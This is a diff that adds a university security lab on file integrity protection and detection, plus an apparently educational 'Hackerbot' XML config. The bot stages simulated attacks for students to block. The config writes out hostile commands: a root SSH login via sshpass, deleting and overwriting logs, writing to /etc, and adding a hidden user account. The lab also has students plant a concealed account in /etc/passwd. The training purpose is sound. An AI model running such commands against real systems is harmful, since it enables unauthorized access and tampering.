man page for information about what each of the above flags do. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity.md b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity.md new file mode 100644 index 000000000..6fa8301ef --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity.md @@ -0,0 +1,959 @@ +# Integrity Management: Protecting Against and Detecting Change + +## Introduction + +These tasks can be completed on the openSUSE\_42.1 VM. + +This lab could be completed on most RPM-based Linux systems with these +tools installed: rsync, md5sum, md5deep, Perl, ssh server (if working +together). + +## Preparation + +If you are working on campus in the IMS labs using the oVirt online +labs, [*click here for instructions on how to login on campus in the IMS +labs and create VMs from +templates*](https://docs.google.com/document/d/1SZQmZ8tEmwqzlya5zMCuwTh_C1EqHfMRif09CyilYAE/edit?usp=sharing). + +If you are working remotely using the oVirt online labs, [*click here +for instructions on how to login via VPN and create VMs from +templates*](https://docs.google.com/document/d/1zhANC_pz7fNwc_cALxGwPEn3_vls2YjWJUAkUV0BwlI/edit?usp=sharing). + +The oVirt system is a new online lab infrastructure hosted here at Leeds +Beckett. This infrastructure is **currently on trial, as a pilot**. +There is a good chance there will be some technical issues, and not +every lab will be available via this system. However, if you are happy +to benefit from this experiment, please keep in mind that you may need +to fall back to one of the above methods. + +If you are working remotely having downloaded our VMs or by copying them +when you were on campus, [*click here for instructions on how to +download VMware Player and configure the VMs to run +remotely*](https://drive.google.com/open?id=1mZSvF9Gc76mKQ5mW9Lsq2fWGIZd8-rE7RqmRXy1ICLY). + +If you are on campus using the IMS system, [*click here for instructions +on how to use the IMS system and VM download +scripts*](https://drive.google.com/open?id=1E03Q7cPrUEk_YZ8syvo-sk6FGv2SlJT1u9KwGOFWdFA). + +Start these VMs: + +- openSUSE\_42.1 (user: student password: student) + + - Two copies if working alone (Hint: change the desktop background + > of one VM so that you can easily keep track of which VM you + > are working on) + +Note: The root password on the openSUSE\_Leap\_42.1-- **which should NOT +be used to log in graphically** -- is “tiaspbiqe2r” (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember). Again, never log in to the desktop environment using the +root account -- that is bad practice, and should always be avoided. + +Some of these exercises can be completed with a classmate (or simply +using two VMs), and assumes root access is available to each other's +systems via an ssh server. + +> *Distance learning students*: If you would like to work with someone +> else from the course, please contact each other via the course Google +> group and share IP addresses. + +**On openSUSE**: + +Install the required packages: + +> sudo zypper install rsync md5deep perl openssh + +## Integrity + +Security is often described in terms of confidentiality, integrity, and +availability. Protecting the integrity of information involves +preventing and detecting unauthorised changes. In many commercial +organisations integrity of information is the highest priority security +goal. Managing who is authorised to make changes to databases or files, +and monitoring the integrity of resources for unauthorised changes is an +important task in managing information security. + +## Protecting integrity + +Protecting the integrity of resources, such as the files on a system, +involves successfully managing a variety of security mechanisms, such as +authentication, access controls and file permissions, firewalls, and so +on. + +> On Linux systems this can include managing passwords, packet filtering +> IPTables rules, standard Unix file permissions (rwx), Linux extended +> attributes (including ACLs for detailed authentication, labels for +> mandatory access control (MAC), and Linux Capabilities). Linux (like +> other Unix-like and Unix-based systems) has a long history of adding +> new security features as and when they are required. +> +> Note that many security controls such as those listed above are very +> important for protecting the integrity of files, but are beyond the +> scope of this lab. Here the focus is on techniques that are *entirely* +> focussed on integrity rather than confidentiality or availability. + +There are precautions that can be taken to reduce the chances of +unauthorised changes. + +### Protecting integrity with file attributes + +Unix systems (such as Linux or FreeBSD) include file attributes that, +amongst other features, can make files immutable or append only. Setting +these file attributes can provide an effective layer of security, and +yet could be considered one of the more obscure Unix security +features[^1]. Note that this feature is dependent on the use of a +compatible filesystem (most Unix filesystems, such as ext, are +compatible with file attributes). Once configured, file attributes can +even prevent root (the all-powerful Unix superuser) from making changes +to certain files. + +Open a terminal console (such as Konsole from +![](media/media/image3.png) KDEMenu → System → Konsole). + +Start by creating a file with some content. Run: + +`` + sudo bash -c 'cat > /var/log/mylogfile' + `` +> +> (Type some content, then press Ctrl-D to finish and return to the +> prompt.) + +Look at the details of the file: + +> ls -la /var/log/mylogfile +> +> -rw-r--r-- 1 root root 20 Feb 7 17:38 /var/log/mylogfile + +As we can see above, the file is owned by root, who has read-write +access – exploring Unix file permissions further is outside the scope of +this lab, but will be covered elsewhere. + +Run: + +> lsattr /var/log/mylogfile +> +> -------------e- /var/log/mylogfile + +The ‘e’ flag is common on ext filesystems, may or may not be present +when you run the above, and does not really concern us. From a security +perspective the ‘a’ and ‘i’ flags are the most interesting. Read the man +page for chattr to find out more about these flags and what they do: + +> man chattr +> +> (Press q to leave the manual page) + +Set the ‘i’ flag using the chattr command: + +> sudo chattr +i /var/log/mylogfile + +Now try to delete the file and see what happens: + +> rm /var/log/mylogfile + +Denied! Opps, that’s right, root owns the file (since you created it +with sudo)! Use root to try to delete the file: + +> sudo rm /var/log/mylogfile + +It still didn’t work! That’s right, even root can’t delete the file, +without changing the file’s attributes back first. + +Use some commands to remove the ‘i’ flag (hint: “-i”, instead of “+i”). + +Now run a command to set the ‘a’ flag on /var/log/mylogfile. + +If you have done so correctly, attempting to overwrite the file with a +test message should fail: + +> sudo bash -c 'echo "test message" > /var/log/mylogfile' +> +> This should produce an error, since ‘>’ causes the output of the +> program to be written to the specified log file, which is not allowed +> due to the chattr command you have run. + +Yet you should be able to append messages to the end of the file: + +> sudo bash -c 'echo "*your-name*: test message" **>>** +> /var/log/mylogfile' +> +> This should succeed, since ‘>>’ causes the output of the program +> to be appended (added to the end of) to the specified log file, which +> is allowed. Use your name above, for example “echo "Cliffe: test +> message" >> /var/log/mylogfile”. + +View your changes at the end of the file: + +> tail /var/log/mylogfile + +This has obvious security benefits, this feature can be used to allow +files to be written to without altering existing content. For example, +for ensuring that log files can be written to, but avoiding giving +everyone who can write to the file the ability to alter its contents. + + +### Protecting integrity with read-only filesystems + +On Unix, a filesystem is mounted to a particular point in the directory +structure; for example, a USB thumb drive may be mounted to +/media/myUSB/. Some filesystems will automatically mount read-only; for +example, if you insert a CD-ROM, since those disks are physically +read-only. It is possible to optionally mount almost any filesystem, +such as a USB or even a directory, in read-only mode, which will make it +practically impossible to write changes to it (without remounting or +accessing the drive/directory in other ways, which normally only root +can do). + +> In a command prompt, run: +> +> mount +> +> Note that many of the devices and directories have been mounted for +> read and write access (**rw**). For security reasons, it can be safer +> to mount things as read-only, when we don’t need to be able to make +> changes to the contents. +> +> Ordinary users can only read the /etc directory but the superuser root +> who owns the /etc directory can read and write to it. In the following +> example, you are going to mount the /etc directory to a mount point +> (another directory within the filesystem) and the contents of the /etc +> directory will be accessible via the mount point. +> +> List the contents of the /etc directory so you are familiar with its +> contents: +> +> ls /etc +> +> Create a new directory to be the mount point: +> +> mkdir /home/student/test +> +> Mount the /etc directory to the new mount point: +> +> sudo mount -o bind /etc /home/student/test +> +> Make sure the /etc directory is accessible via the test directory +> mount point: +> +> ls /home/student/test +> +> Ordinary users can only read but the superuser root can still write to +> the directory. Test this by creating a new file as the superuser root +> in the /home/student/test directory: +> +> sudo touch /home/student/test/file1 +> +> Check that a new file has been created using the following commands +> +> ls -l /home/student/test/fi\* +> +> ls -l /etc/fi\* +> +> We can use this techniques to make filesystems and directories +> read-only. In the next example you will remount the etc in read-only +> mode so that even the superuser root who owns the /etc directory +> cannot make changes to its contents via the mount point. +> +> sudo mount -o remount,ro,bind /etc /home/student/test +> +> Test this by trying creating a new file as the superuser root in the +> /home/student/test directory: +> +> sudo touch /home/student/test/file2 +> +> This should prevent changes being accidently being made to important +> configuration files in the /etc directory. +> +> Remount the the /etc directory as read-only to itself: +> +> sudo mount -o remount,ro,bind /etc /etc + +Mounting read-only can be an effective way of protecting resources that +you don’t need to make any changes to. Read-only mounting is +particularly effective when an actual disk resides externally, and can +be enforced remotely. For example, when sharing files over the network. + +Note that mounting read-only may be circumvented by root (or a user with +enough privilege) via direct access to the device files (/dev/sdc1 in +the example above), or by re-mounting as read-write. + +Aside: in new versions of Linux, it is also possible to have a directory +(one part of what is on a disk) present in the directory structure twice +with different mount options (for example, /home/cliffe and +/home/cliffe-read-only). This can be achieved by bind mounting, and then +remounting to set the bind mount to read only. More information: +[*http://lwn.net/Articles/281157/*](http://lwn.net/Articles/281157/) + +## Detecting changes to resources + +Although we can aim to protect integrity, eventually even the strongest +defenses can fail, and when they do we want to know about it! In order +to respond to a security incident we need to detect that one has +occurred. One way we do so, is to detect changes to files on our system. + +### Detecting changes to resources using backups + +One technique is to compare files to a backup known to represent the +system or resources in a clean state. One advantage of this approach is +that we cannot only detect that files have changed, but also see exactly +how they differ. + +You can (and, if possible, should) **conduct this exercise with a +classmate**. + +Make a backup of your /etc/passwd file: + +> cp /etc/passwd /tmp/passwd\_backup + +This file (/etc/passwd) is an important file on Unix systems, which +lists the user accounts on the system. Although historically the hashes +of passwords were once stored here, they are now typically stored in +/etc/shadow. Changes to the /etc/passwd file are usually infrequent – +such as when new user accounts are created – and changes should only be +made for authorised purposes. + +At this point, also make sure you have a backup of any work. + +If you are working with a classmate or using two VMs, once you (and your +classmate or on the other VM) have saved a backup copy of your own +passwd file using the above command, then connect to your classmate’s +computer (other VM) using ssh: + +> Set your root password to a password you will share with your +> classmate: +> +> sudo passwd +> +> Enable your SSH server: +> +> sudo /sbin/service sshd start +> +> Open port 22 for ssh access to your computer +> +> Click KDEMenu → System → Yast +> +> Click Firewall in the Security and Users section +> +> Click “Allowed Services” +> +> Choose “Secure Shell Server” from the “Service to Allow” drop down +> list +> +> Click Add to add ssh to the list of allowed services. +> +> Click Next → Finish and close Yast +> +> Find your IP address using ifconfig, and tell your classmate your IP +> address and root password. +> +> ssh *their-ip-address* +> +> (Where *their-ip-address* is as noted earlier.) You will be prompted +> for student account password. +> +> Switch to the root user (you will be prompted for the root password): +> +> su - +> +> If you do not know each other’s root password, then feel free to log +> each other in on an ssh session as root. + +Now that you have root access to their system[^2], add a new user to +their computer... Your aim is to make the new account hard to notice. If +you are working alone, just do this on your own system: + +> useradd *new-username* +> +> Where new-username, is some new name. Don’t tell your classmate the +> name of the account you have created. You may want to create a +> username that looks innocent. + +To make things even more interesting, edit the /etc/passwd file and move +the new user account line somewhere other than right at the bottom, so +that it is less obvious: + +> vi /etc/passwd +> +> Move the cursor onto the line representing your new account (probably +> at the bottom). +> +> In vi type: +> +> :m *-number* +> +> Where number is the number of lines to move up, for example: “:m -20” +> will move the currently selected line up 20 lines, “hiding” the new +> user account amongst the others. +> +> Save your changes and exit vi by typing: +> +> :wq + +Now exit ssh: + +> exit + +If you are working with a together, look at the changes your classmate +made on your computer, and try to spot the new user account: + +> less /etc/passwd +> +> (q to exit) + +It’s not as easy as it sounds, especially if your system has lots of +user accounts. + +Since you have a backup of your passwd file, you can compare the backup +with the current passwd file to determine it has been modified. One such +tool for determining changes is diff. Diff is a standard Unix command. +Run: + +> diff -q /tmp/passwd\_backup /etc/passwd + +Diff should report that the two files differ. Diff can also produce an +easy to read description of exactly how the file has changed. This is a +popular format used by programmers for sharing changes to source code: + +> diff -u /tmp/passwd\_backup /etc/passwd + +There are many advantages to the comparison of backups approach to +detecting changes, but it also has its limitations. To apply this +approach to an entire system, you will need a fairly large amount of +either local or network shared storage, and writes need to be controlled +to protect the backups, yet written to whenever authorised changes are +made to keep the backup up-to-date. Also, when the comparisons are made +substantial disk/network access is involved, since both both sources +need to be read at the same time in order to do the comparison. + +In the example above, the backup was stored on the same computer. Did +you think of editing your classmates backup passwd file? This is related +to a major issue when checking for changes to the system: if your system +has been compromised, then you can’t necessarily trust any of the local +software or files, since they may have been replaced or modified by an +attacker. For that reason, it can be safer to run software (such as +diff) from a separate read-only storage. Yet that still may not be +enough, the entire operating system could be infected by a rootkit. + +Aside: Filesystems, such as btrfs, that support history and snapshots +can also be helpful for investigating breaches in integrity. + +### Detecting changes to resources using hashes and file integrity checkers + +Another technique for detecting modifications to files is to use hashes +of files in their known good state. Rather than storing and comparing +complete copies, a one way hash function can be used to produce a fixed +length hash (or “digest”), which can be used for later comparisons. +Hashes have security properties that enable this use: + +- Each hash is unique to the input + +- It is extremely difficult (practically impossible) to find another + > input that produces the same hash output + +- Any change to the input (no matter how minor) changes the output + > hash dramatically + +We can store a hash and later recompute the hash, to determine whether +the file has changed (if the hash is different), or it is exactly the +same (if the hash is the same). If you have studied digital forensics, +many of these concepts will be familiar to you, since hashes are also +commonly used for verifying the integrity of digital evidence. + +Generate an MD5 hash of your backup password file, which you copied +above: + +> md5sum /tmp/passwd\_backup + +Now calculate a hash of your current passwd file: + +> md5sum /etc/passwd + +If the generated hashes are different, you know the files do not have +exactly the same content. + +Note that using hashes, there is no need to have the backup on-hand in +order to check the integrity of files, you can just compare a newly +generated hash to a previous one. + +Repeat the above two commands using shasum rather than md5sum. SHA1 and +SHA2 are considered to be more secure than the “cryptographically +broken” MD5 algorithm. Although MD5 is still in use today, it is safer +to use a stronger hash algorithm, since MD5 is not collision-resistant, +meaning it is possible to find multiple files that result in the same +hash. SHA1 is considered partially broken, so a new algorithm such as +SHA2 is currently a good option. There are a number of related commands +for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and +so on. These commands (as well as those in the next section) are readily +available on most Unix systems, and are also available for Windows. + +#### File integrity checkers + +A file integrity checker is a program that compares files to previously +generated hashes. A number of these kinds of tools exist, and these can +be considered a form of host-based intrusion detection system (HIDS), +particularly if the checking happens automatically. One of the most well +known integrity checkers is Tripwire, which was previously released open +source; although, new versions are closed source and maintained by +Tripwire, Inc, with a more holistic enterprise ICT change management +focus. There are other tools similar to Tripwire, such as AIDE (Advanced +Intrusion Detection Environment), and OSSEC (Open Source Host-based +Intrusion Detection System). + +The above md5sum, shasum (and so on) programs can also be used to check +a list of file hashes. + +Create an empty file, where *your-name*, is your actual name: + +> touch *your-name* + +Run the following to generate a file containing hashes of files we can +later check against: + +> shasum *your-name* >> /tmp/hash.sha +> +> shasum /etc/passwd >> /tmp/hash.sha +> +> sudo shasum /etc/shadow >> /tmp/hash.sha +> +> shasum /bin/bash >> /tmp/hash.sha +> +> shasum /bin/ls >> /tmp/hash.sha + +Look at the contents of our new hashes file (Q to quit when done): + +> less /tmp/hash.sha + +Now use your new hash list to check that nothing has changed since we +generated the hashes: + +> shasum -c /tmp/hash.sha + +Why does shasum fail to check the integrity of the shadow file? + +Make a change to our empty “*your-name*” file: + +> echo "hello" > *your-name* + +Check whether anything has changed since we generated hashes: + +> shasum -c /tmp/hash.sha + +You should see a nice explanation of the files that have changed since +generating the hashes. + +#### Scripted integrity checking + +The above can also be accomplished via a simple script (in this case a +Perl script): + + #!/usr/bin/perl + + # Copyleft 2012, Z. Cliffe Schreuders + + # Licenced under the terms of the GPLv3 + + use warnings; + + use strict; + + my %files\_hashes = ( + + "/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848", + + "/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0", + + "/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08" + + ); + + foreach my \$file\_entry (keys %files\_hashes) { + + my \$hash = \`sha1sum \$file\_entry|awk '{print \\\$1}'|head -n1\`; + + chomp(\$hash); + + if(\$hash ne \$files\_hashes{\$file\_entry}){ + + warn "FILE CHANGED: \$file\_entry (hash was \$hash, expected + \$files\_hashes{\$file\_entry})\\n"; + + } else { + + print "File unmodified: \$file\_entry (hash was \$hash, as + expected)\\n"; + + } + + } + +This script simply iterates over a list of file paths with SHA1 hashes +(stored in an associative array), and runs sha1sum for each one to check +whether the files are still the same. + +Save the script as checker.pl (Help: you may wish to install the default +KDE GUI text editor Kate, if it is not already installed under the +Utlities menu. You should be able to copy the script and paste it into +Kate to save it as checker.pl. Kate can be installed using the following +command: “sudo zypper install kate”) + +Then run the script with: + +> perl checker.pl + +Are the files reported as unmodified, or have they changed? Why might +they be different to when I wrote the script? + +##### Recursive file integrity checkers + +The md5deep program (also known as sha1deep, sha256deep, and so on for +different hash algorithms) can recursively walk through directories (and +into all contained subdirectories) to generate and check lists of +hashes. + +Run: + +> sudo sha1deep -r /etc +> +> If the md5deep command is not available, install it: +> +> On openSUSE this can be done by first running “cnf sha1deep”, to find +> the name of the package containing the program, then run the install +> command it gives you, such as “sudo zypper install md5deep”. +> +> If you get “PackageKit is blocking zypper”, then select “no”, and kill +> PackageKit, by running “kill -9 *pid*”, where *pid* is the number +> reported by the previous command. Now run the above again. +> +> If the zypper command is stuck on refreshing a repository, then press +> “Ctrl-C”, “a” (for abort), then proceed with the installation as per +> normal. +> +> Once the required software is installed, try the sha1deep command +> again. + +The output of the above command will include hashes of every file in +/etc, which is where system-wide configuration files are stored on Unix. + +Read the sha1deep manual to understand the above command: + +> man sha1deep +> +> Figure out what the -r flag does. +> +> (Q to quit) + +We can save (redirect) this output to a file so that we have a record of +the current state of our system’s configuration: + +> sudo sha1deep -r /etc > /tmp/etc\_hashes + +This may take a minute or so, while the program calculates the hashes +and sends them to standard out (known as stdout), which is then +redirected to the etc\_hashes file. + +Next, let's compare the size of our list of hashes, with the actual +content that we have hashed... + +See how big our list of hashes is: + +> ls -hs /tmp/etc\_hashes +> +> (-h = human readable, -s = size) + +This is likely to be in the Kilobytes. + +And for the size of all of the files in /etc: + +> sudo du -hs /etc +> +> (-h = human readable, -s summarise) + +This is likely in the Megabytes (or maybe even Gigabytes). + +Clearly, the list of hashes is much smaller. + +If you are **working with a classmate**, log into their system using ssh +(as done previously). If you are working alone, simply run all the +commands on your own system. + +Create a new file somewhere in /etc/, containing your name. Name the +file whatever you like (for example /etc/test), although the more +inconspicuous the better. + +> Hint: “sudo vi /etc/test”, “i” to enter insert mode, and after typing +> your name, “Esc”, “:wq”. + +Also, change an existing file in /etc on their system, but please do be +careful to only make a minor change that will **not cause damage to +their system**. For example, you could use vi to edit /etc/hostname +(“sudo vi /etc/hostname”), and add a comment to the file such as +“\#your-name: bet you can’t find this comment!” + +You can now “exit” the ssh session. + +**On your own system**, lets try to identify what the “attacker” has +done to our system... + +Now that we have a list of hashes of our files, use shasum to check if +anything has changed using our newly generated list of hashes +(/tmp/etc\_hashes). + +> Hint: look at the previous command using shasum to check hashes. + +Does this detect our the changed file AND the new file? Why not? + +Md5deep/sha1deep takes a different approach to checking integrity, by +checking all of the files it is told to check (possibly recursing over +all files in a directory) against a list of hashes, and reporting +whether any files it checked did not (or did, depending on the flags +used) have its hash somewhere in the hash list. + +Run sha1deep to check whether any files in /etc/ do not match a hash +previously generated: + +> sudo sha1deep -X /tmp/etc\_hashes -r /etc + +This should detect both modified files, both new and modified. + +But would sha1deep detect a copy of an existing file, to a new location? + +Try it: + +> sudo cp /etc/passwd /etc/passwd.backup + +Now rerun the previous sha1deep command. Was the copy detected? Why not? + +What about copying one file over another? Which out of shasum or +sha1deep would detect that? + +Another tool, hashdeep, which is included with md5deep, provides more +coverage when it comes to detecting files that have moved, changed, or +created. + +Generate a hash list for /etc using hashdeep: + +> sudo hashdeep -r /etc > /tmp/etc\_hashdeep\_hashes + +Hashdeep stores hashes in a different format than the previous tools. +Have a look: + +> less /tmp/etc\_hashdeep\_hashes +> +> (q to quit) +> +> Note that the output includes some more information, such as the file +> size for each file. + +Delete the new file that your “attacker” (the person who sshed into your +system) created earlier: + +> sudo rm /etc/*whatever-the-filename-was* + +Conduct a hashdeep audit to detect any changes: + +> sudo hashdeep -r -a -k /tmp/etc\_hashdeep\_hashes /etc +> +> Note, that this can take a while, so feel free to start working +> through the next section in another terminal, if you like. + +After, run it again, this time asking for more details, since the +default message does not provide any information as to why an audit has +failed: + +> sudo hashdeep -ra**vv** -k /tmp/etc\_hashdeep\_hashes /etc + +Consult the man page for information about what each of the above flags +do. + +#### Detecting changes to resources using package management + +On Linux systems, package management systems are used to organise, +install, and update software. The package management system has a +database that keeps track of all the files for each program or software +package. Depending on the package management system used, the database +may maintain hashes in order to detect changes to files since install. +RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), store hashes +of each file that is included in software packages. There are commands +that can be used to detect changes to files that have occurred since +being installed by the package management software. + +Note that there are times where it is perfectly normal for a number of +files to not match the “fresh” versions that were installed: for +example, configuring a system for use will involve editing configuration +files that were distributed with software packages. + +The “rpm” command has a -V flag for verifying the integrity of packages. + +Choose any system file on the computer, such as /etc/securetty. To +determine which package the file belongs to: + +> rpm -q --whatprovides *any-file-you-chose* +> +> Where any-file-you-chose is any file such as /etc/securetty. + +The output of that command the package-name, and is required in the next +step. + +Check the integrity of the file: + +> rpm -V *package-name* +> +> Where package-name is the output from the previous command. + +An example from the output would be: + +> 5S.T..... c /etc/securetty + +Which means, it is a config file (c), and: + +- S – file Size differs + +- M – Mode differs (includes permissions and file type) + +- 5 – MD5 sum differs + +- D – Device major/minor number mismatch + +- L – readLink(2) path mismatch + +- U – User ownership differs + +- G – Group ownership differs + +- T – mTime differs + +- P – caPabilities differ + +Use the above information to understand the output from your above rpm +-V command. + +Next verify the integrity of all of the packages on the entire system +(this may take a while): + +> rpm -Va + +Try to understand the cause of any files failing the integrity checks. + +Consider the limitations of this approach: what files will (and won’t) +this approach to integrity management cover? + +#### Limitations of integrity checking + +Perhaps the greatest limitation to all of these approaches, is that if a +system is compromised, you may not be able to trust any of the tools on +the system, or even the operating system itself to behave as expected. +In the case of a security compromise, your configuration files may have +been altered, including any hashes you have stored locally, and tools +may have been replaced by Trojan horses. For this reason it is safer to +run tools over the network or from a removable drive, with read-only +access to protect your backups and hashes. Even then, the +OS/kernel/shell may not be telling you the truth about what is +happening, since a rootkit could be concealing the truth from other +programs. + +### Problem-based tasks + +#### Choosing files for integrity checking + +Fill in the table below with a number of files on a Unix or Windows +system whose integrity should be monitored for security purposes: + + **Filename** **Description** **Security reason for monitoring integrity** + --------------------- ------------------------- --------------------------------------------------------------------------------------------------------------------- + *Unix: /etc/passwd* *List of user accounts* *Adding or modifying users is security sensitive, since rogue user accounts could present a backdoor to the system* + + + + + + + + + + + +**Complete the table above, with a number of Unix/Windows files that +should be monitored for integrity, as evidence that you have completed +this part of the task.** + +**Label it or save it as “Integrity-A1”.** + +Add an integrity monitoring solution (md5sum, md5deep, or hashdeep) to a +cron job, so that every hour the integrity of some important files are +checked, and any errors are emailed to root. + +Hints: Any output on standard error (stderr) on a cron job results in a +local email to root. As root, type “mail” to read the local emails. Run +“crontab -e” to add scheduled tasks. Google will certainly help here. + +Help: You may find the following links if you have not used cron before +to run scheduled tasks. + +[*Click here for an openSUSE +Video*](https://www.youtube.com/watch?v=bQfza9aLjss) + +[*Click here for a cron +tutorial*](http://www.computerhope.com/unix/ucrontab.htm) + +[*Click here for cron +examples*](http://www.thegeekstuff.com/2009/06/15-practical-crontab-examples/comment-page-1/) + +**Take screenshots of an hourly cronjob rule, and email with an +integrity report from md5sum/deep or hashdeep, as evidence that you have +completed this part of the task.** + +**Label it or save it as “Integrity-A2”.** + +Add to your above solution, by considering and implementing some +protection against modifications to your hash file/database. + +**Take a screenshot of your configuration for protection of the hash +file (and include a one sentence description), as evidence that you have +completed this part of the task.** + +**Label it or save it as “Integrity-A3”.** + +Install either OSSEC (Open Source Host-based Intrusion Detection +System), AIDE (Advanced Intrusion Detection Environment), or Tripwire +(if you can find a copy), and use it to monitor the integrity of your +files. Modify a file named *your-name* (your actual name) and view a +report or alert that the integrity of the file has been compromised. + +**Take a screenshot of a report from OSSEC or AIDE that a file named +after you has been altered, as evidence that you have completed this +part of the task.** + +**Label it or save it as “Integrity-A4”.** + +Add to the integrity monitoring script given earlier, to store and +retrieve the hashes from a file. + +For extra marks, protect the hashes using a HMAC, with user interaction +to enter a password. + +**Save your modifications of the script, as evidence that you have +completed this part of the task.** + +**Label it or save it as “Integrity-A5”.** + +### Resources + +An excellent resource on the subject of integrity management is Chapter +20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*, +by Garfinkel et al (2003). + +[^1]: Setting a file to immutable (and therefore impossible to simply + delete) can be an effective prank against the uninitiated in Unix + ways. + +[^2]: It is obvious that there are risks associated with knowing each + other’s root passwords! Obviously, use this knowledge responsibly to + work together to complete the tasks. + +## License + +![](media/media/image4.png) + +This work by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons +Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + + diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_lab.xml.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_lab.xml.erb new file mode 100644 index 000000000..9db3955fe --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/integrity_lab.xml.erb @@ -0,0 +1,223 @@ +<% + require 'json' + require 'securerandom' + require 'digest/sha1' + require 'fileutils' + require 'erb' + + if self.accounts.empty? + abort('Sorry, you need to provide an account') + end + + $first_account = JSON.parse(self.accounts.first) + $second_account = JSON.parse(self.accounts[1]) + + $files = [] + $log_files = [] + if $first_account.key?("leaked_filenames") && $first_account['leaked_filenames'].size > 0 + $files = $first_account['leaked_filenames'] + $log_files = $first_account['leaked_filenames'].grep(/log/) + end + + if $files.empty? + $files = ['myfile', 'afile', 'filee', 'thefile'] + end + if $log_files.empty? + $log_files = ['log', 'thelog', 'logs', 'frogonalog'] + end + + $main_user = $first_account['username'].to_s + $second_user = $second_account['username'].to_s + $example_file = "/home/#{$main_user}/#{$files.sample}" + $example_dir = "/home/#{$main_user}/personal_secrets/" + + $root_password = self.root_password + $flags = self.flags + + REQUIRED_FLAGS = 5 + while $flags.length < REQUIRED_FLAGS + $flags << "flag{#{SecureRandom.hex}}" + Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!" + end + + def get_binding + binding + end +%> + + + + + + Hackerbot + + config/AIML + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash + + + Your system is about to be hacked. I'll do what I can hold them off, but you are going to have to work with me to protect yourself. I'll cough up some flags if you work with me. + + + Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along. + When you are ready, simply say 'ready'. + 'Ready'? + Better hurry, the attack is imminent... Let me know when you're 'ready'. + Ok, I'll do what I can to move things along... + Moving things along to the next attack... + Ok, next attack... + Ok, I'll do what I can to back things up... + Ok, previous attack... + Ok, backing up. + Ok, skipping it along. + Let me see what I can do to goto that attack. + That was the last attack for now. You can rest easy, until next time... (End.) + That was the last attack. Game over? + You are back to the beginning! + This is where it all began. + Ok. Gaining shell access, and running post command... + Hacking in progress... + Attack underway... + Here we go... + We are in to your system. + You are pwned. + We have shell. + Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along. + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Wouldn't you like to know. + + + Oh no. Failed to get shell... You need to let us in. + + + + Integrity Management: Protecting Against and Detecting Change + <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %> +
<%= File.read self.templates_path + 'integrity_limitations.md.erb' %> + +<%= File.read self.templates_path + 'resources.md.erb' %> + +<%= File.read self.templates_path + 'license.md.erb' %> + +Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>) +
+ + true + +
+ + +<% $file = SecureRandom.hex(2) -%> + An attempt to write /tmp/<%= $file %> is coming from user <%= $second_user %>. Stop the attack by creating the file without permission for other users to write to the file. + + sudo -u <%= $second_user %> bash -c 'echo boom > /tmp/<%= $file %>'; echo $? + + Permission denied + :) Well done! <%= $flags.pop %> + true + + + 0 + :( We managed to write to your file! You need to use access controls to protect the file. Create a new file. + + + :( Something was not right... + + + <%= ERB.new(File.read self.templates_path + 'file_permissions.md.erb').result(self.get_binding) %> + + + +<% $log_file = $log_files.sample -%> + + An attempt to delete /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack using file attributes. + + rm --interactive=never /home/<%= $main_user %>/<%= $log_file %>; echo $? + + Operation not permitted + :) Well done! <%= $flags.pop %> + true + + + Permission denied + :( You did protect the file, but not using file attributes. + + + 0 + :( We managed to delete your file! You need to use file attributes to protect the file. Create a new file. + + + No such file or directory + :( The file should exist! + + + :( Something was not right... + + + <%= ERB.new(File.read self.templates_path + 'file_attributes.md.erb').result(self.get_binding) %> + + + +<% $log_file = $log_files.sample -%> + + An attempt to overwrite /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack by making the file append only. + + echo 'your logs are gone!' > /home/<%= $main_user %>/<%= $log_file %>; echo 'appended!' >> /home/<%= $main_user %>/<%= $log_file %>; tail -n2 /home/<%= $main_user %>/<%= $log_file %>; echo $? + + appended! + :( You stopped anything from being appended to the file. What kind of log file do you think this is? + + + Operation not permitted + :) Well done! <%= $flags.pop %> + true + + + No such file or directory + :( The file should exist! + + + :( Something was not right... + + + + + + An attempt to edit a file in /etc/ is coming. Stop the attack by bind mounting /etc/ as read-only. + + echo 'not read only!' > /etc/you_were_hacked; adduser --disabled-password --gecos "" yourehacked + + Read-only file system + :) Well done! <%= $flags.pop %> + + + + Permission denied|Operation not permitted + :( You stopped the attack, but not by using read only bind mounting... + + + :( Something was not right... + + + <%= ERB.new(File.read self.templates_path + 'ro_mounting.md.erb').result(self.get_binding) %> + + + + + Finally, try to prevent me from obtaining shell access to your system + :) Failed to get shell... <%= $flags.pop %> + + +
